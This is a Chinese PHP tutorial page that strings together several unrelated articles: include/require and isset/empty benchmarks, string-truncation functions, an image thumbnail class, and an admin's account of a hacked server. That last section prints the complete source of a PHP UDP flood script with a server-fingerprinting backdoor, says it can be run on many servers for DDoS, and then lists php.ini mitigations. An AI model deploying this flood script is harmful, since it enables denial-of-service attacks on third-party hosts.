php中include include_once require require_once性能比较详解

 更新时间:2016年11月25日 16:24  点击:1872
文章利用图文详细的介绍了在php中关于include与include_once和require与require_once性能图,有需要的朋友可以详细的看看,但总体来讲include_once和require_once性能要好很多,特别是在多次调用时。

PHP性能优化第八期函数篇,include()与include_once()和require()与require_once()性能比较,主要是通过获取这四个函数执行时间 比较性能差异,实验采用Benchmark_Iterate类工具。

测试方法
加载一个已经存在的文件exist.php,通过Benchmark_Iterate类调用50次,获取各函数的执行时间并生成曲线图。

测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function load_include(){
    include 'exist.php';
}
function load_require(){
    require 'exist.php';
}
function load_include_once(){
    include_once 'exist.php';
}
function load_require_once(){
    require_once 'exist.php';
}
$bench->run(50,"load_include");
//$bench->run(50,"load_require");
//$bench->run(50,"load_include_once");
//$bench->run(50,"load_require_once");
$result = $bench->get();

测试结果
1,使用include()函数加载文件的执行时间

php-include.png
图解:使 用include()函数加载文件的平均执行时间为0.0013秒左右

2,使用include_once()函数加载文件的执行时间
php-include_once.png
图解:使用include_once()函数加载文件的平均执行时间为0.0011-0.0012秒

3,使用require函数加载文件的执行时间
php-require.png
图解:使用require()函数加载文件的平均执行时间为0.0012-0.0013秒

4,使用require_once()函数加载文件的执行 时间
php-require_once.png
解:使用require_once()函数加载文件的平均执行时间为0.0011-0.0012秒

由上面测试结果 可知,四个函数加载文件的执行时间基本上差不多,区别在于,如果存在一个文件多次加载的情况,include和require函数会加载多次,而 include_once和require_once函数只会加载一次。同时处理加载失败的情况不同,include() 和include_once() 产生一个警告而 require() 和 require_once() 则导致一个致命错误。

相关说明
include()和require()函数
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。同时也要确认设置了合适的 include_path。注意在 PHP 4.3.5 之前,包含文件中的语法错误不会导致程序停止,但从此版本之后会。

寻找包含文件的顺序先是在当前工作目录的相对的 include_path 下寻找,然后是当前运行脚本所在目录相对的 include_path 下寻找。例如 include_path 是 .,当前工作目录是 /www/,脚本中要 include 一个 include/a.php 并且在该文件中有一句 include "b.php",则寻找 b.php 的顺序先是 /www/,然后是 /www/include/。如果文件名以 ./ 或者 ../ 开始,则只在当前工作目录相对的 include_path 下寻找。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

include_once() 和require_once()函数
include_once() 和require_once()语句在脚本执行期间包含并运行指定文件。此行为和 include() 和require() 语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含。如同此语句名字暗示的那样,只会包含一次。 include_once() 和require_once()应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

文章利用图表来告诉你关于PHP isset()与empty()函数执行时间比较以及性能的好与坏,有需要的朋友可以详细的看看哦。性能测试采用Benchmark_Iterate类工具进行调试,主要关注isset()与empty()函数执行时间。

,测试环境
操作系统:Window XP
PHP版本:PHP Version 5.2.11
Apache版本:Apache 2.0 Handler

二,测试方法
使用Benchmark_Iterate测试isset()和empty在变量存在和不存在的情况下执行50次并生成图表

三,isset()与empty()判断变量不存在的情况
1,测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
function check1($var){
    isset($var);
}
function check2($var){
    !empty($var);
}
$bench->run(50,"check1",$var);
//$bench->run(50,"check2",$var);
$result = $bench->get();


其中$var变量并没有初始化,判断变量不存在的情况,两个函数的执行性能如下图

2,isset()判断变量不存在的情况

php-isset.png

图解:isset()判断变量不存在的情况平均执行时间在0.0010-0.0011秒之间
3,empty()判断变量不存在的情况

php-empty.png
图解:empty()判断变量不存在的情况平均执行时间在0.0010-0.0011秒之间
四,isset()与empty()判断变量存在的情况

,测试代码

 代码如下 复制代码

require_once "Benchmark/Iterate.php";
$bench = new Benchmark_Iterate;
 
function check1($var){
    isset($var);
}
function check2($var){
    !empty($var);
}
$var = true;
$bench->run(50,"check1",$var);
//$bench->run(50,"check2",$var);
$result = $bench->get();

初始化$var变量为true,判断变量存在的情况,两个函数的执行性能如下

2,isset()判断变量存在的情况

php-isset-true.png图解:isset()判断变量存在的情况平均执行时间在0.0010-0.0011秒之间
3,empty()判断变量存在的情况
php-empty-true.png图解:isset()判断变量存在的情况平均执行时间在0.0010-0.0011秒之间
综合上面的测试性能情况,可知isset()和empty()函数的执行时间基本一样,两个函数的平均执行时间在0.0010-0.0011秒之间,当然这与具体的环境有关,从当前测试环境来看,两个函数的性能是一样的。
 
这是用了phpwind里面的一个字符串截取函数,他支持gbk,gbk2312,utf-8等多种编码的字符截取,也很好高效的支持中文字符串的处理。
 代码如下 复制代码


function substrs($content,$length,$add='Y'){
if (strlen($content)>$length) {
if ($GLOBALS['db_charset']!='utf-8') {
$retstr = '';
for ($i=0;$i<$length-2;$i++) {
$retstr .= ord($content[$i]) > 127 ? $content[$i].$content[++$i] : $content[$i];
}
return $retstr.($add=='Y' ? ' ..' : '');
}
return utf8_trim(substr($content,0,$length)).($add=='Y' ? ' ..' : '');
}
return $content;
}
function utf8_trim($str) {
$hex = '';
$len = strlen($str)-1;
for ($i=$len;$i>=0;$i-=1) {
$ch = ord($str[$i]);
$hex .= " $ch";
if (($ch & 128)==0 || ($ch & 192)==192) {
return substr($str,0,$i);
}
}
return $str.$hex;
}

function cutstr($string, $length, $dot = ' ...') {
global $charset;
if(strlen($string) <= $length) {
return $string;
}
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
$strcut = '';
if(strtolower($charset) == 'utf-8') {
$n = $tn = $noc = 0;
while($n < strlen($string)) {
$t = ord($string[$n]);
if($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
$tn = 1; $n++; $noc++;
} elseif(194 <= $t && $t <= 223) {
$tn = 2; $n += 2; $noc += 2;
} elseif(224 <= $t && $t <= 239) {
$tn = 3; $n += 3; $noc += 2;
} elseif(240 <= $t && $t <= 247) {
$tn = 4; $n += 4; $noc += 2;
} elseif(248 <= $t && $t <= 251) {
$tn = 5; $n += 5; $noc += 2;
} elseif($t == 252 || $t == 253) {
$tn = 6; $n += 6; $noc += 2;
} else {
$n++;
}
if($noc >= $length) {
break;
}
}
if($noc > $length) {
$n -= $tn;
}
$strcut = substr($string, 0, $n);
} else {
for($i = 0; $i < $length; $i++) {
$strcut .= ord($string[$i]) > 127 ? $string[$i].$string[++$i] : $string[$i];
}
}
$strcut = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $strcut);
return $strcut.$dot;
}

今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了。

先看源码

 代码如下 复制代码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER

['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }

for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }

$max_time = time()+$exec_time;

while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}

echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .

round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/

$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

关键代码在于

 代码如下 复制代码
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力。
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用。
如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛


既然是用fsockopen请求外部,那就不让他请求
php.ini里设置

 代码如下 复制代码
allow_url_fopen = Off

如果这样他还是能发包

 代码如下 复制代码
extension=php_sockets.dll
改成
;extension=php_sockets.dll

重启APACHE、IIS、NGINX
这样就可以防止PHP DDOS发包了

另外有网友说

让脚本不允许设置为不超时很简单,1,把set_time_limit函数禁用,2,启用PHP的安全模式(safe_mode=on)

禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,

建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是

这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS。。。

经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些。

这是一个可以自动检测你图片大小并生成等比例的缩略图效果,有需要的朋友可以参考一下下哦。
 代码如下 复制代码

*作者:落梦天蝎(beluckly)
*完成时间:2006-12-18
*类名:CreatMiniature
*功能:生成多种类型的缩略图
*基本参数:$srcFile,$echoType
*方法用到的参数:
$toFile,生成的文件
$toW,生成的宽
$toH,生成的高
$bk1,背景颜色参数 以255为最高
$bk2,背景颜色参数
$bk3,背景颜色参数

*例子:

 

< ?php

 

/***************************************

*作者:落梦天蝎(beluckly)

*完成时间:2006-12-18

*类名:CreatMiniature

*功能:生成多种类型的缩略图

*基本参数:$srcFile,$echoType

*方法用到的参数:

$toFile,生成的文件

$toW,生成的宽

$toH,生成的高

$bk1,背景颜色参数 以255为最高

$bk2,背景颜色参数

$bk3,背景颜色参数

 

*例子:

 

include("thumb.php");

$cm=new CreatMiniature();

$cm->SetVar("1.jpg","file");

$cm->Distortion("dis_bei.jpg",150,200);

$cm->Prorate("pro_bei.jpg",150,200);

$cm->Cut("cut_bei.jpg",150,200);

$cm->BackFill("fill_bei.jpg",150,200);

 

***************************************/

 

class CreatMiniature

{

//公共变量

var $srcFile=""; //原图

var $echoType; //输出图片类型,link--不保存为文件;file--保存为文件

var $im=""; //临时变量

var $srcW=""; //原图宽

var $srcH=""; //原图高

 

//设置变量及初始化

function SetVar($srcFile,$echoType)

{

$this->srcFile=$srcFile;

$this->echoType=$echoType;

 

$info = "";

$data = GetImageSize($this->srcFile,$info);

switch ($data[2])

{

case 1:

if(!function_exists("imagecreatefromgif")){

echo "你的GD库不能使用GIF格式的图片,请使用Jpeg或PNG格式!<a href='javascript:go(-1);'>返回</a>";

exit();

}

$this->im = ImageCreateFromGIF($this->srcFile);

break;

case 2:

if(!function_exists("imagecreatefromjpeg")){

echo "你的GD库不能使用jpeg格式的图片,请使用其它格式的图片!<a href='javascript:go(-1);'>返回</a>";

exit();

}

$this->im = ImageCreateFromJpeg($this->srcFile);

break;

case 3:

$this->im = ImageCreateFromPNG($this->srcFile);

break;

}

$this->srcW=ImageSX($this->im);

$this->srcH=ImageSY($this->im);

}

 

//生成扭曲型缩图

function Distortion($toFile,$toW,$toH)

{

$cImg=$this->CreatImage($this->im,$toW,$toH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

 

//生成按比例缩放的缩图

function Prorate($toFile,$toW,$toH)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ftoW=$toW;

$ftoH=$ftoW*($this->srcH/$this->srcW);

}

else

{

$ftoH=$toH;

$ftoW=$ftoH*($this->srcW/$this->srcH);

}

if($this->srcW>$toW||$this->srcH>$toH)

{

$cImg=$this->CreatImage($this->im,$ftoW,$ftoH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

else

{

$cImg=$this->CreatImage($this->im,$this->srcW,$this->srcH,0,0,0,0,$this->srcW,$this->srcH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

}

 

//生成最小裁剪后的缩图

function Cut($toFile,$toW,$toH)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ctoH=$toH;

$ctoW=$ctoH*($this->srcW/$this->srcH);

}

else

{

$ctoW=$toW;

$ctoH=$ctoW*($this->srcH/$this->srcW);

}

$allImg=$this->CreatImage($this->im,$ctoW,$ctoH,0,0,0,0,$this->srcW,$this->srcH);

$cImg=$this->CreatImage($allImg,$toW,$toH,0,0,($ctoW-$toW)/2,($ctoH-$toH)/2,$toW,$toH);

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

ImageDestroy($allImg);

}

 

//生成背景填充的缩图

function BackFill($toFile,$toW,$toH,$bk1=255,$bk2=255,$bk3=255)

{

$toWH=$toW/$toH;

$srcWH=$this->srcW/$this->srcH;

if($toWH< =$srcWH)

{

$ftoW=$toW;

$ftoH=$ftoW*($this->srcH/$this->srcW);

}

else

{

$ftoH=$toH;

$ftoW=$ftoH*($this->srcW/$this->srcH);

}

if(function_exists("imagecreatetruecolor"))

{

@$cImg=ImageCreateTrueColor($toW,$toH);

if(!$cImg)

{

$cImg=ImageCreate($toW,$toH);

}

}

else

{

$cImg=ImageCreate($toW,$toH);

}

$backcolor = imagecolorallocate($cImg, $bk1, $bk2, $bk3); //填充的背景颜色

ImageFilledRectangle($cImg,0,0,$toW,$toH,$backcolor);

if($this->srcW>$toW||$this->srcH>$toH)

{

$proImg=$this->CreatImage($this->im,$ftoW,$ftoH,0,0,0,0,$this->srcW,$this->srcH);

/*

if($ftoW< $toW)

{

ImageCopyMerge($cImg,$proImg,($toW-$ftoW)/2,0,0,0,$ftoW,$ftoH,100);

}

else if($ftoH<$toH)

{

ImageCopyMerge($cImg,$proImg,0,($toH-$ftoH)/2,0,0,$ftoW,$ftoH,100);

}

*/

if($ftoW<$toW)

{

ImageCopy($cImg,$proImg,($toW-$ftoW)/2,0,0,0,$ftoW,$ftoH);

}

else if($ftoH<$toH)

{

ImageCopy($cImg,$proImg,0,($toH-$ftoH)/2,0,0,$ftoW,$ftoH);

}

else

{

ImageCopy($cImg,$proImg,0,0,0,0,$ftoW,$ftoH);

}

}

else

{

ImageCopyMerge($cImg,$this->im,($toW-$ftoW)/2,($toH-$ftoH)/2,0,0,$ftoW,$ftoH,100);

}

return $this->EchoImage($cImg,$toFile);

ImageDestroy($cImg);

}

 

 

function CreatImage($img,$creatW,$creatH,$dstX,$dstY,$srcX,$srcY,$srcImgW,$srcImgH)

{

if(function_exists("imagecreatetruecolor"))

{

@$creatImg = ImageCreateTrueColor($creatW,$creatH);

if($creatImg)

ImageCopyResampled($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

else

{

$creatImg=ImageCreate($creatW,$creatH);

ImageCopyResized($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

}

}

else

{

$creatImg=ImageCreate($creatW,$creatH);

ImageCopyResized($creatImg,$img,$dstX,$dstY,$srcX,$srcY,$creatW,$creatH,$srcImgW,$srcImgH);

}

return $creatImg;

}

 

//输出图片,link---只输出,不保存文件。file--保存为文件

function EchoImage($img,$to_File)

{

switch($this->echoType)

{

case "link":

if(function_exists('imagejpeg')) return ImageJpeg($img);

else return ImagePNG($img);

break;

case "file":

if(function_exists('imagejpeg')) return ImageJpeg($img,$to_File);

else return ImagePNG($img,$to_File);

break;

}

}

 

}

?>

[!--infotagslink--]

相关文章

  • 带你了解PHP7 性能翻倍的关键

    20岁老牌网页程序语言PHP,最快将在10月底释出PHP 7新版,这是十年来的首次大改版,最大特色是在性能上的大突破,能比前一版PHP 5快上一倍,PHP之父Rasmus Lerdorf表示,甚至能比HHVM虚拟机下的PHP程序性能更快。HHVM 是脸书为自...2015-11-24
  • 利用 Chrome Dev Tools 进行页面性能分析的步骤说明(前端性能优化)

    这篇文章主要介绍了利用 Chrome Dev Tools 进行页面性能分析的步骤说明(前端性能优化),本文给大家介绍的非常想详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2021-02-24
  • JavaScript提高网站性能优化的建议(二)

    这篇文章主要介绍了JavaScript提高网站性能优化的建议(二)的相关资料,需要的朋友可以参考下...2016-07-29
  • 提升jQuery的性能需要做好七件事

    这篇文章主要介绍了提升jQuery的性能需要做好的七件事,希望真的帮助大家提升jQuery性能,需要的朋友可以参考下...2016-01-14
  • VS Code C/C++环境配置教程(无法打开源文件“xxxxxx.h”或者检测到 #include 错误,请更新includePath)(POSIX API)

    这篇文章主要介绍了VS Code C/C++环境配置教程(无法打开源文件“xxxxxx.h” 或者 检测到 #include 错误。请更新includePath) (POSIX API),本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-08-13
  • require、backbone等重构手机图片查看器

    这篇文章主要为大家详细介绍了require、backbone等重构手机图片查看器的相关资料,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2016-11-22
  • 基于mybatis中<include>标签的作用说明

    这篇文章主要介绍了基于mybatis中<include>标签的作用说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-20
  • php测试性能代码

    php测试性能代码 function microtime_float () { list ($usec, $sec) = explode(" ", microtime()); return ((float) $usec + (float) $sec); } functio...2016-11-25
  • css中空路径对页面性能影响的解决方案

    文章介绍了css中空路径对页面性能影响的解决方案,这个可能很多美工朋友不会去注意这一点,下面我们来看看吧。 在写 CSS 的时候,用 background:url(#) 还是会对页面进...2017-07-06
  • 如何用Node.js编写内存效率高的应用程序

    这篇文章主要介绍了如何用Node.js编写内存效率高的应用程序,对Node.js感兴趣的同学,可以参考下...2021-05-01
  • Redis 执行性能测试

    这篇文章主要介绍了Redis 执行性能测试的方法,文中讲解非常细致,帮助大家更好的理解和学习redis,感兴趣的朋友可以了解下...2021-01-15
  • include包含头文件的语句中,双引号和尖括号的区别(详解)

    下面小编就为大家带来一篇include包含头文件的语句中,双引号和尖括号的区别(详解)。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-04-25
  • 浅析Mysql Join语法以及性能优化

    一.Join语法概述join 用于多表中字段之间的联系,语法如下:复制代码 代码如下:... FROM table1 INNER|LEFT|RIGHT JOIN table2 ON conditionatable1:左表;table2:右表。JOIN 按照功能大致分为如下三类:INNER JOIN(内连接,或...2014-05-31
  • Lua中的loadfile、dofile、require详解

    这篇文章主要介绍了Lua中的loadfile、dofile、require详解,本文分别用实例讲解它的用法和特点等内容,需要的朋友可以参考下...2020-06-30
  • C#导出数据到excel如何提升性能

    这篇文章主要介绍了C#导出数据到excel如何提升性能,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-07-13
  • C#中Dynamic和Dictionary性能比较

    开发中需要传递变参,考虑使用 dynamic 还是 Dictionary,dynamic 的编码体验显著优于 Dictionary,如果性能差距不大的话,我会选择使用dynamic。下面通过本文给大家详细介绍下C#中Dynamic和Dictionary性能比较,一起看看吧...2020-06-25
  • Nginx + php 搭建 超性能 WEB 服务器

    Nginx ("engine x") 是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAPPOP3SMTP 代理服务器。...2016-01-27
  • Golang标准库和外部库的性能比较

    这篇文章主要介绍Golang标准库和外部库的性能比较,下面文章讲围绕这两点展开内容,感兴趣的小伙伴可以参考一下...2021-10-19
  • Java并发编程如何降低锁粒度并实现性能优化

    这篇文章主要介绍了Java并发编程如何降低锁粒度并实现性能优化,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-08-29
  • 不可忽视的 .NET 应用5大性能问题

    ASP.NET 或是 Windows Forms 容器中,使用 ADO 库与运行在 CLR 交互,而 CLR 运行在操作系统中而该硬件又与其他包含不同技术堆栈的硬件通过网络相连。在你的应用与外部环境之间,。我们还有 API 管理服务以及多级缓存基础构造数量庞杂,都可能影响应用程序的性能!...2021-09-22